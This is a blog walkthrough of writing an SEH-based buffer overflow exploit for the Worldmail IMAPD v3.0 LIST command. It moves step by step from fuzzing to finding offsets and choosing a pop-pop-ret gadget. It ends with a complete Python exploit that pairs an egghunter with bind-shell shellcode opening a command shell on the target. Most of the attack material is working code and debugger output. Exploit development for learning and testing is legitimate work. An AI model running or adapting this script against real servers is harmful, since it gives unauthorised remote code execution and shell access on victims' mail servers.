Worldmail IMAPD v3.0 SEH LIST Buffer Overflow

Worldmail IMAPD v3.0 SEH LIST Buffer Overflow

Overview on crafting the exploit for a buffer overflow affecting Worldmail IMAPD v3.0

After writing my buffer overflow that required an egghunter payload to search for the actual payload containing the code to be executed on the victim buffer overflow, BisonFTP Server v3.5 MKD Buffer Overflow Exploit, I wanted to write more buffer overflow exploits which required the use of a egghunter payload, I quickly learnt about the application Worldmail 3.0 which reportedly had a SEH (structured Exception Handler) buffer overflow vulnerability in the IMAP server which required the use of an egghunter payload.

The vulnerability in the IMAPd service of Worldmail 3.0 is reportedly caused when the server receives the command LIST along with a series of “}”, the first part of writing the buffer overflow was to fuzz the IMAPd service to cause the buffer overflow. To do the fuzzing process I took the ftp-fuzz python script I’ve used in my previous FTP application buffer overflows I had done and modified it to be able to fuzz an IMAPD application.

Before modifying the script I had to learn about how a host connects to the an IMAP server, I found an example this in RFC 3501 in section 8, from this example I determined that after I connect to the IMAP server I then send “a001 login” as the first message, but as this vulnerability does not require authentication I decided to attempt “a001 LIST” as the first message to the IMAP server after connecting as well as the buffer. During the fuzzing process I attached a debugger to the application and found that around 1500 bytes the overflow would occur. Taking this information I began writing the exploit would be able to exploit the vulnerability and allow arbitrary code execution on the victim machine, I wrote a python script which would replicate the buffer overflow that was found during the fuzzing process.

#!/bin/python
import sys
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "}" * 1500
 
s.connect(("192.168.3.215",143))
data = s.recv(1024)
s.send("a001 LIST " + buffer + "\r\n")
s.close()

Initial buffer overflow in the Worldmail 3.0 IMAP service.

State of SEH chain during the initial buffer overflow in the Worldmail 3.0 IMAP service.

Now that i’ve been able to recreate the buffer overflow I need to determine the locations in the buffer that overwrite the registers, using patter_create.rb to create a unique 1500 string which would allow me to determine the locations, I replaced the original buffer with this string and executed the script causing the application to crash.

pattern_create.rb buffer overflow in the Worldmail 3.0 IMAP service.

State of SEH chain during the pattern_create.rb buffer overflow in the Worldmail 3.0 IMAP service.

Looking at the SEH chain at the time of the crash I see that the first handler address, (01BDFFA4), contains the value “41387A41” and the second entry contains the value “377A4136”, using pattern_offset.rb I was able to find these two locations in my new buffer.

  • 41387a41 = 774
  • 377a4136 = 770

The next part of writing this exploit is finding a “pop pop ret” which will allow me to work with the exception handler to get code execution on the target machine. Using a python plugin for Immunity Debugger called mona.py I was able to identify all the SEH loaded after restarting the service.

0x60020000 | 0x60082000 | 0x00062000 | False  | False   | False |  False   | False  | 6.1.19 [MFldrMgr.dll] (C:\Program Files\Qualcomm\Worldmail3\MFldrMgr.dll)

Address    Message
60060A37 0x60060a37 : pop ebp # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [MFldrMgr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.1.19 (C:\Program Files\Qualcomm\Worldmail3\MFldrMgr.dll)

I chose the above pop pop ret because it is inside a .dll file used by the application, which means this exploit is not dependent on what version of Operating System it is installed on. I began to re-modify my exploit script to include the new information.

#!/usr/bin/python
import sys
import socket
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# buffer = "}" * 1500 # Initial buffer sent to application.
# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9" + "}"
 
nseh = "\xeb\x06\x90\x90" # JMP SHORT of 6, jumps over seh into the shellcode.
seh = "\x37\x0a\x06\x60" # Memory location of pop ebp pop ebx ret 0x04 - MFldrMgr.dll
 
buffer = "\x41"*770
buffer += nseh
buffer += seh
buffer += "\xcc"*40
buffer += "\x42"*(1500-len(buffer))
buffer += "}"
 
s.connect(("192.168.3.215", 143))
data=s.recv(1024)
s.send("a001 LIST " + buffer + "\r\n")
s.close()

The object “nseh” is to perform a short jump of 6 bytes over seh (4 bytes that make seh and 2 more to encount for the rest of nseh) which will allow me to get to the shellcode I want to be executed, two useful links that I used to help me work this part out are here link1 link2.

State of SEH chain during the third phase buffer overflow in the Worldmail 3.0 IMAP service.

stage 3 buffer overflow in the Worldmail 3.0 IMAP service.

Stepping through the exception caught by the application I was able to hit the breakpoints which were contained within the exploit script ‘\xcc’ and now have control of the EIP register. Looking at the application in the debugger after hitting the breakpoint I identified that I have about 80 bytes for shellcode, which isn’t enough for most payloads but is enough for the egghunter payload I used in the Bison FTP exploit. Using the egghunter I can place shellcode for the payload I want to execute on the target machine earlier in the buffer, in the 770 bytes before hitting the SEH of the application and tag the shellcode with the tag that the egghunter will be looking for, the egghunter will be executed after stepping around the exception.

#!/usr/bin/python
import sys
import socket
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# buffer = "}" * 1500 # Initial buffer sent to application.
# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9" + "}" # buffer to find bytes that overwrite registers.
 
nseh = "\xeb\x06\x90\x90" # JMP SHORT of 6, jumps over seh into the shellcode.
seh = "\x37\x0a\x06\x60" # Memory location of pop ebp pop ebx ret 0x04 - MFldrMgr.dll
 
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
 
shellcode = ("w00tw00t" + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
 
buffer = shellcode + "\x90"*(770-len(shellcode))
buffer += nseh
buffer += seh
buffer += "\x90"*8
buffer += egghunter + "\x90"*(80-len(egghunter))
buffer += "}"*(1500-len(buffer))
 
s.connect(("192.168.3.215", 143))
data=s.recv(1024)
s.send("a001 LIST " + buffer + "\r\n")
s.close()

The above is the final exploit code for the application, when launched against the target machine, the code jumped over the SEH and the egghunter executed finding the bindshell shellcode which was entered at the start of the buffer.

Screenshot of the python exploit script which exploits the SEH buffer overflow in the Worldmail 3.0 IMAP server being launched against the target machine and creating a bindshell on the target.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6